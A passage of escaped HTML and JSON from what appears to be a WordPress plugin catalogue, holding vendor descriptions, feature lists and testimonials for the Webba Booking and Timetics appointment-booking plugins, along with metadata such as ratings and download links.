Sports and Gyms:\u003C\u002Fstrong> Yoga instructors, personal trainers, dance studios, fitness classes, golf lessons, sports coaches.\u003Cbr \u002F>\nWith Webba, fitness professionals can accept bookings around the clock, offer discount coupons, and send reminders to maximize attendance.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Coaching and Online Services:\u003C\u002Fstrong> Life coaches, online consultants, therapists, digital service providers.\u003Cbr \u002F>\nCoaches appreciate Webba’s virtual session booking, secure payment integrations, and easy-to-use scheduler that lets clients book from anywhere.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Personal and Professional Services:\u003C\u002Fstrong> Photographers, cleaning services, catering, automotive repairs, event planners, musicians.\u003Cbr \u002F>\nWebba’s straightforward booking system, calendar view, and automated notifications handle scheduling so providers can focus on delivering quality service.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Unlock PREMIUM features with \u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002Fpricing\u002F\" rel=\"nofollow ugc\">Webba Booking Premium\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>MAIN FREE FEATURES INCLUDED IN WEBBA BOOKING LITE:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Unlimited Services and Bookings:\u003C\u002Fstrong> add as many bookable services\u002Fevents as you want and categorize them for your and\u002For your customers’ convenience.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Modern booking calendar form:\u003C\u002Fstrong> clean and modern booking form design that looks great on all devices.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Easy bookings management:\u003C\u002Fstrong> approve, add, edit, cancel any bookings with a few clicks.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Adjustable business hours & holidays:\u003C\u002Fstrong> have complete control on your own availability with our powerful schedule tools.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Buffer\u002Fpreparation time:\u003C\u002Fstrong> add extra time before or after an appointment for preparation.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Basic Email notifications:\u003C\u002Fstrong> automatically send confirmation emails to you and your customers.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Translation ready:\u003C\u002Fstrong> Webba offers built-in translations and WPML compatibility.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>GDPR (EU) ready:\u003C\u002Fstrong> we offer advanced privacy and data protection settings.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Export booking to CSV:\u003C\u002Fstrong> export your bookings to CSV file for external management.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>MAIN PREMIUM FEATURES INCLUDED IN WEBBA PREMIUM:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Multiple appointment bookings (Cart):\u003C\u002Fstrong> simplify scheduling by allowing customers to book multiple services or appointments at once and complete them in a single, hassle-free checkout.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Group Bookings:\u003C\u002Fstrong> allow multiple people to book the same time slot (perfect for classes and events).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced Pricing Rules:\u003C\u002Fstrong> set dynamic pricing based on time, day, demand, and more.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Appointment Reminders:\u003C\u002Fstrong> reduce no-shows by sending automated email reminders to your customers.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Two-way Calendar sync:\u003C\u002Fstrong> sync Webba with your calendar and manage your appointments without any double-bookings.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Accept payments:\u003C\u002Fstrong> secure online payment integrations with Paypal, Stripe, or Woocommerce (with 100+ payment gateways).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Conversion Tracking with Google Analytics:\u003C\u002Fstrong> automatically track bookings and conversion events with GA4 integration.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom Form Fields:\u003C\u002Fstrong> enhance your booking form with variety of different form fields (comments, drop downs, checkmarks, file upload etc.) using our Custom Form Builder.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User Dashboard:\u003C\u002Fstrong> let your customers easily manage their bookings by rescheduling or canceling them.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Zoom Integration:\u003C\u002Fstrong> create automatic zoom video conferencing events and attach them to the booking confirmation.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Track performance through statistics:\u003C\u002Fstrong> track and visualize how many bookings you get over time.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Offer Coupons:\u003C\u002Fstrong> whether it’s Black Friday or your Birthday sale – offer promotional coupons through Webba!\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Send SMS reminders:\u003C\u002Fstrong> send appointment confirmations and reminders using SMS provider Twilio.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Integration:\u003C\u002Fstrong> integrate with WooCommerce directly and offer your own checkout experience.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Manage Taxes and Invoices:\u003C\u002Fstrong> enable tax calculation, generate and send professional invoices to your customers automatically.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Unlock PREMIUM features with \u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002Fpricing\u002F\" rel=\"nofollow ugc\">Webba Booking PREMIUM\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>Explore the full list of \u003Ca href=\"https:\u002F\u002Fwebba-booking.com\u002Ffeatures\u002F\" rel=\"nofollow ugc\">Webba Booking features\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>OUR CUSTOMERS LOVE US!\u003C\u002Fh3>\n\u003Cp>We are proud to have near perfect 5\u002F5 score on both \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwebba-booking-lite\u002F#reviews\" title=\"reviews of Webba Booking\" rel=\"ugc\">WordPress\u003C\u002Fa> and \u003Ca href=\"https:\u002F\u002Fwww.trustpilot.com\u002Freview\u002Fwebba-booking.com\" title=\"reviews of Webba Booking\" rel=\"nofollow ugc\">Trustpilot\u003C\u002Fa>:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>“The customer service for this \u003Cstrong>plugin is phenomenal!\u003C\u002Fstrong>\u003Cbr \u002F>\nThe customer service for this plugin is absolutely second-to-none. I’m blown away by how good they are!” – R.Tyrrell\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>“I’ve been using the plugin quite some time now and I’d say it’s \u003Cstrong>the most user-friendly booking-plugin on the market.\u003C\u002Fstrong> Easy to setup and a nice clean, modern layout! Support is also great. I had an issue with locking dates and it was solved within a few hours. Good job guys!” – losboeros\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>“Webba support is nothing like what you have experienced in your earlier life and everything you are hoping to have with a product. The response times, the professionalism, the friendliness… you name it, they have it. \u003Cstrong>Easiest seven star review I have given!”\u003C\u002Fstrong> – Webba Customer\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>“This plugin is awesome and it can accomplish anything your business needs! OMG the support is NUMBER 1!!!! I will refer this plugin to everyone and let them know \u003Cstrong>the support is just awesome\u003C\u002Fstrong>. I am very pleased with everything!” – jbiento\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n","Free Appointment Booking Plugin 📅 Unlimited appointments, booking management, calendar sync, notifications, 5* support = powerful booking system!",3000,322920,98,150,"2026-04-02T14:10:00.000Z","5.6",[20,124,22,23,163],"scheduling","https:\u002F\u002Fwebba-booking.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebba-booking-lite.6.4.0.zip","2025-12-15 00:00:00",{"slug":168,"name":169,"version":170,"author":7,"author_profile":8,"description":171,"short_description":172,"active_installs":173,"downloaded":174,"rating":13,"num_ratings":175,"last_updated":176,"tested_up_to":16,"requires_at_least":17,"requires_php":177,"tags":178,"homepage":180,"download_link":181,"security_score":182,"vuln_count":101,"unpatched_count":29,"last_vuln_date":183,"fetched_at":31},"timetics","Timetics – Appointment Booking & Scheduling","1.0.54","\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Timetics\u003C\u002Fstrong>\u003C\u002Fa> is a powerful appointment booking, meeting scheduler, and online booking system for professionals that helps you manage appointments, scheduling, and reservations in one simple dashboard.\u003C\u002Fp>\n\u003Cp>With its smart booking calendar and real-time availability, customers can choose their preferred time slot booking and confirm meetings instantly. You can easily handle daily schedules using the built-in appointment calendar and automated calendar booking features.\u003C\u002Fp>\n\u003Cp>Whether you run coaching sessions, consultations, services, or team meetings, Timetics works as a complete appointment scheduler and meeting scheduler that saves time and removes manual follow-ups.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FqBqTz2wF3kk?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>Let your customers book appointments online 24\u002F7 while you stay focused on growing your business.\u003C\u002Fp>\n\u003Ch3>Why Choose Timetics Appointment Booking Plugin?\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>✅ \u003Cstrong>Unlimited appointments, bookings & team members\u003C\u002Fstrong> – completely free, no caps, ever\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Automatic double-booking prevention\u003C\u002Fstrong> – confirmed time slots are blocked instantly\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Reduce no-shows\u003C\u002Fstrong> with automated email, SMS, and WhatsApp reminders\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>24\u002F7 self-service online booking\u003C\u002Fstrong> – clients book while you sleep\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Free Google Meet integration\u003C\u002Fstrong> – meeting links auto-generated on every booking\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Google Calendar two-way sync\u003C\u002Fstrong> – changes reflect everywhere, in real time\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Stripe payments\u003C\u002Fstrong> in the free version get paid at the point of booking\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>GDPR-compliant\u003C\u002Fstrong> – all booking data stays on your WordPress server\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>Translation ready\u003C\u002Fstrong> – fully compatible with WPML and Loco Translate\u003C\u002Fli>\n\u003Cli>✅ \u003Cstrong>No coding required\u003C\u002Fstrong> – set up your first booking in under 5 minutes\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fproducts.arraytics.com\u002Ftimetics\u002Fbooking\u002F\" rel=\"nofollow ugc\">Live Demo\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002F\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics-roadmaps\u002F\" rel=\"nofollow ugc\">Roadmaps\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002Fplaylist?list=PLkqKWn6EHYbr2O6EvASj6UoVl3Fy1IWL5\" rel=\"nofollow ugc\">Tutorials\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Fpricing\u002F\" rel=\"nofollow ugc\">Pro\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Need help getting started? 👉 \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fsupport\u002F\" rel=\"nofollow ugc\">Contact our support team\u003C\u002Fa>\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FOYlcZhSC3KI?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>Who Is the Timetics Appointment Booking Plugin For?\u003C\u002Fh3>\n\u003Cp>Timetics is a flexible \u003Cstrong>WordPress booking system\u003C\u002Fstrong> built for \u003Cstrong>professional and service-based business\u003C\u002Fstrong> that needs to schedule, manage, and automate client appointments online. Here are the most common use cases:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Feducation\u002F\" rel=\"nofollow ugc\">Education & Training\u003C\u002Fa>– Schedule \u003Cstrong>mentorship sessions, course consultations, tutoring, workshops\u003C\u002Fstrong>, and career counseling. Suitable for \u003Cstrong>schools, universities, private tutors, and online educators\u003C\u002Fstrong> who need to manage multiple classes and avoid scheduling conflicts.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Frecruiting\u002F\" rel=\"nofollow ugc\">Recruiting & HR\u003C\u002Fa>– Recruiters and HR teams can \u003Cstrong>automate interview scheduling\u003C\u002Fstrong>, let candidates choose available time slots, and receive instant booking confirmations – eliminating endless back-and-forth emails.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Fcustomer-support\u002F\" rel=\"nofollow ugc\">Customer Support & Client Services\u003C\u002Fa>– Organize \u003Cstrong>support calls, virtual help sessions, and follow-up appointments\u003C\u002Fstrong> to ensure your customers get assistance promptly.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Fsales-marketing\u002F\" rel=\"nofollow ugc\">Sales & Marketing Teams\u003C\u002Fa>– Let prospects \u003Cstrong>book consultations, product demos, discovery calls\u003C\u002Fstrong>, or strategy sessions directly from your website. Integrates seamlessly with CRM tools for tracking leads.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Fcounseling\u002F\" rel=\"nofollow ugc\">Consultants & Coaches\u003C\u002Fa>– From \u003Cstrong>business consultants to life coaches\u003C\u002Fstrong>, offer clients an easy way to book one-on-one or group sessions. Customize availability, set buffer times, and send automated reminders.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Feducation\u002F\" rel=\"nofollow ugc\">Teachers & Mentors\u003C\u002Fa>– Manage \u003Cstrong>class schedules, private lessons, and tutoring sessions\u003C\u002Fstrong> so students can book convenient time slots without email chains.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Musicians & Creative Professionals\u003C\u002Fstrong>– Allow clients and collaborators to \u003Cstrong>book studio sessions, music lessons, or creative consultations\u003C\u002Fstrong>. Manage availability, payments, and rescheduling with ease.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics\u002Ffitness\u002F\" rel=\"nofollow ugc\">Self Sessions & Fitness Guide\u003C\u002Fa>– Provide a convenient and hassle-free way for fitness-conscious clients to book appointments.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Cstrong>Event Organizers & Venues\u003C\u002Fstrong>– Conference organizers, workshop hosts, venue managers, and ticketed event producers use Timetics PRO to manage \u003Cstrong>event booking with an \u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fone-to-many-with-seat-mappro\u002Fseatplan-from-frontend\u002F\" rel=\"nofollow ugc\">interactive Visual Seat Map\u003C\u002Fa>\u003C\u002Fstrong> — attendees browse your live floor plan, pick their exact seat, choose a ticket tier (VIP, Gold, Standard), and complete payment in one seamless flow directly on your WordPress site.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Need full-scale event management?\u003C\u002Fstrong> Pair Timetics with \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-event-solution\u002F\" rel=\"ugc\">\u003Cstrong>Eventin\u003C\u002Fstrong>\u003C\u002Fa> the free WordPress event management plugin. Eventin leverages \u003Cstrong>Timetics’ Visual Seat Map builder\u003C\u002Fstrong> to power its own \u003Ca href=\"https:\u002F\u002Fthemewinter.com\u002Feventin-timetics-integration-visual-seatplan\u002F\" rel=\"nofollow ugc\">event seat plan feature\u003C\u002Fa>, and adds speaker & schedule management, QR code attendee check-in, RSVP events, recurring events, and multi-gateway ticketing. Together, \u003Cstrong>Timetics + Eventin\u003C\u002Fstrong> cover every event and appointment booking need from a single WordPress dashboard.\u003C\u002Fp>\n\u003Cp>📌 \u003Cstrong>Timetics is not limited to these industries.\u003C\u002Fstrong> It’s a complete \u003Cstrong>appointment scheduling system\u003C\u002Fstrong> for any professional or business that needs \u003Cstrong>online booking, client self-service scheduling, and calendar management\u003C\u002Fstrong> – from solo freelancers to multi-staff enterprises.\u003C\u002Fp>\n\u003Ch3>Free Appointment Booking Features for WordPress\u003C\u002Fh3>\n\u003Cp>The free version of \u003Cstrong>Timetics\u003C\u002Fstrong> is a fully capable \u003Cstrong>appointment booking plugin for WordPress\u003C\u002Fstrong>  designed to handle your online meetings, consultations, service bookings, and client scheduling without paying a cent.\u003C\u002Fp>\n\u003Ch3>Unlimited Online Appointment Booking\u003C\u002Fh3>\n\u003Cp>Say goodbye to restrictions create \u003Cstrong>unlimited appointments\u003C\u002Fstrong>, \u003Cstrong>unlimited bookings\u003C\u002Fstrong>, and add \u003Cstrong>unlimited team members\u003C\u002Fstrong> with zero extra fees.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Unlimited Meetings\u003C\u002Fstrong> – Host one-on-one sessions, group events, or classes as often as you need.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fbookings\u002Fnew-booking-for-meeting\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Unlimited Bookings\u003C\u002Fstrong>\u003C\u002Fa> – Accept as many online bookings as your business can handle, with no monthly caps.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited Team Members\u003C\u002Fstrong> – Add all your staff and give each a dedicated booking profile and calendar.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automatic Double-Booking Prevention\u003C\u002Fstrong> – Once a time slot is confirmed, it is instantly blocked. Your booking calendar stays clean and conflict-free, automatically.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Free Google Meet Integration for Online Booking\u003C\u002Fh3>\n\u003Cp>When a client books an appointment through Timetics, a \u003Cstrong>Google Meet link is automatically generated\u003C\u002Fstrong> and included in the confirmation email and all reminders no manual link sharing required.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fintegrations\u002Fgoogle-meet-calendar-integration\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Google Meet Auto-Link\u003C\u002Fstrong>\u003C\u002Fa> – One-click join links work on desktop, mobile, and tablet.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Organized in Google Calendar\u003C\u002Fstrong> – Every booking appears in your connected Google Calendar automatically.\u003C\u002Fli>\n\u003Cli>Ideal for \u003Cstrong>teachers, sales teams, customer support, consultants, and coaches\u003C\u002Fstrong> who need a fast, secure way to hold video meetings without extra tools.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Online Booking & Appointment Management\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fgeneral-settings\u002Favailability-block-schedule\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Availability Management\u003C\u002Fstrong>\u003C\u002Fa> – Define working hours, break times, and days off. Clients can only book genuinely available slots no overrides, no conflicts.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Real-Time Booking Status\u003C\u002Fstrong> – Track whether each appointment booking is pending, confirmed, or canceled from a single dashboard view.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fmeetings\u002Fone-on-one-meeting\u002F\" rel=\"nofollow ugc\">\u003Cstrong>One-to-One Appointment Booking\u003C\u002Fstrong>\u003C\u002Fa> – Perfect for private consultations, interviews, coaching sessions, and personal services. Set duration, buffer time, and location per meeting type.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Guest Add-On\u003C\u002Fstrong> – Clients can include colleagues, family members, or friends in the same booking without a separate reservation.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>12 & 24-Hour Time Format Support\u003C\u002Fstrong> – Your booking calendar displays time in the format that makes sense to every client, regardless of region.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Multi-Staff Appointment Booking & Team Management\u003C\u002Fh3>\n\u003Cp>In a multi-staff setup, clarity is everything. Timetics keeps each team member’s booking calendar accurate, assigns appointments to the right person, and \u003Cstrong>eliminates the risk of double-booking or missed time slots\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fstaff-list\u002Fadd-new-staff-host\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Team Management\u003C\u002Fstrong>\u003C\u002Fa> – View each staff member’s availability, assign them to bookings, and update their schedules from the admin dashboard.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fnotifications\u002Femail-notification\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Email Notifications\u003C\u002Fstrong>\u003C\u002Fa> – Automatic alerts sent to staff the moment a booking is created or changed.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reduce No-Shows with Customer Reminders\u003C\u002Fstrong> – Automatic booking confirmations and pre-appointment reminders keep clients informed and reduce missed appointments.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Timezone Auto-Detection\u003C\u002Fstrong> – Booking times display in each client’s local timezone automatically — no confusion, no late arrivals.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>International Phone Number Support\u003C\u002Fstrong> – Country code selector ensures accurate contact records for global clients.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Client Self-Service Dashboard\u003C\u002Fstrong> – Clients log in to reschedule, cancel, or review their booking history — no need to contact you directly.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Easy Setup — Your First Booking in Under 5 Minutes\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fgetting-started\u002Fonboarding\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Step-by-Step Onboarding Wizard\u003C\u002Fstrong>\u003C\u002Fa> – Guided setup takes you through every step of building your appointment booking system, even if it’s your first time.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Shortcode Embedding\u003C\u002Fstrong> – Drop your booking form into any page, post, or widget area using a simple shortcode. Works with Gutenberg, Elementor, Divi, Beaver Builder, and any WordPress page builder.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Meeting List Shortcode\u003C\u002Fstrong> – Display all your available services and appointment types in a clean, bookable list so clients can choose their preferred session instantly.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>No coding required\u003C\u002Fstrong> – Timetics is built for every skill level, from beginners to developers.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Google Calendar Sync for Accurate Scheduling\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fintegrations\u002Fgoogle-meet-calendar-integration\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Two-Way Google Calendar Sync\u003C\u002Fstrong>\u003C\u002Fa> – Your appointment booking calendar and Google Calendar stay perfectly in sync. Any booking created, rescheduled, or canceled reflects on both sides instantly eliminating scheduling conflicts and double-booking.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Accept Online Payments at the Point of Booking\u003C\u002Fh3>\n\u003Cp>When clients pay during the booking process, they commit to the appointment reducing no-shows and securing your revenue upfront.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Stripe Integration (Free)\u003C\u002Fstrong> – Accept credit and debit card payments directly from your booking calendar. Clients confirm and pay in one seamless step.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Local & Offline Payment Methods\u003C\u002Fstrong> – Support clients who prefer cash or in-person payment by enabling flexible offline options.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Integration\u003C\u002Fstrong> – Unlock 100+ additional payment gateways and advanced order management by connecting Timetics to WooCommerce.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Booking Analytics & Revenue Reports\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Sales Analytics Dashboard\u003C\u002Fstrong> – Monitor total bookings, revenue earned, and trends over time. Use the data to optimize your availability, services, and marketing strategy.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Timetics PRO: AI-Powered Appointment Booking & Advanced Scheduling System\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Timetics PRO\u003C\u002Fstrong> includes \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics-free-vs-pro\u002F\" rel=\"nofollow ugc\">\u003Cstrong>everything in the free version\u003C\u002Fstrong>\u003C\u002Fa> plus a suite of advanced, business-grade features built for teams, high-volume booking, and businesses that demand automation.\u003C\u002Fp>\n\u003Ch3>🤖 AI-Powered Appointment Scheduling (Exclusive Feature)\u003C\u002Fh3>\n\u003Cp>Timetics is the \u003Cstrong>only WordPress appointment booking plugin with built-in AI scheduling\u003C\u002Fstrong>. The AI engine analyzes your booking patterns and client history to automatically \u003Cstrong>suggest the best available time slots\u003C\u002Fstrong> for new appointments increasing booking conversions and reducing calendar gaps. No other booking plugin for WordPress offers this.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fintegrations\u002Fopenai-integration\u002F\" rel=\"nofollow ugc\">Learn more about AI-powered booking \u003Cspan aria-hidden=\"true\" class=\"wp-exclude-emoji\">→\u003C\u002Fspan>\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Advanced Appointment Scheduling & Recurring Bookings\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fbookings\u002Frecurring-bookings\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Recurring Appointments\u003C\u002Fstrong>\u003C\u002Fa> – Let clients book weekly, biweekly, monthly, or custom recurring slots in one step. Perfect for fitness classes, therapy sessions, coaching programs, and subscription-based services.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Client Self-Rescheduling\u003C\u002Fstrong> – Clients change their appointment date or time independently. The system sends updated confirmations and reminders automatically.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Expanded Calendar Integrations\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Google Calendar Advanced Sync\u003C\u002Fstrong> – Full two-way synchronization with instant updates across all connected devices and team members.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>iCal \u002F Apple Calendar Integration\u003C\u002Fstrong> – Booking appointments sync directly to Apple Calendar for seamless mobile access.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Outlook Calendar Sync\u003C\u002Fstrong> – Designed for corporate environments running Microsoft Outlook as their primary scheduling tool.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Visual Seat Map & Group Event Booking (Exclusive Feature)\u003C\u002Fh3>\n\u003Cp>Timetics PRO is the \u003Cstrong>only WordPress booking plugin with an interactive Visual Seat Map\u003C\u002Fstrong> ideal for conferences, workshops, theaters, and ticketed events. Clients pick their exact seat from a live floor plan, choose a ticket tier, and complete booking in one flow.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>[\u003Cstrong>Interactive Seat Selection\u003C\u002Fstrong>] – Live seat map with real-time availability.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Multi-Tiered Tickets\u003C\u002Fstrong> – VIP, Gold, Standard, or any custom pricing tier.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>One-to-Many Booking\u003C\u002Fstrong> – Webinars, workshops, and group sessions with multiple attendees.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Group Event + Seat Plan\u003C\u002Fstrong> – Combine group booking with visual seat selection.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Timetics’ Visual Seat Map also powers the event seat plan feature in \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-event-solution\u002F\" 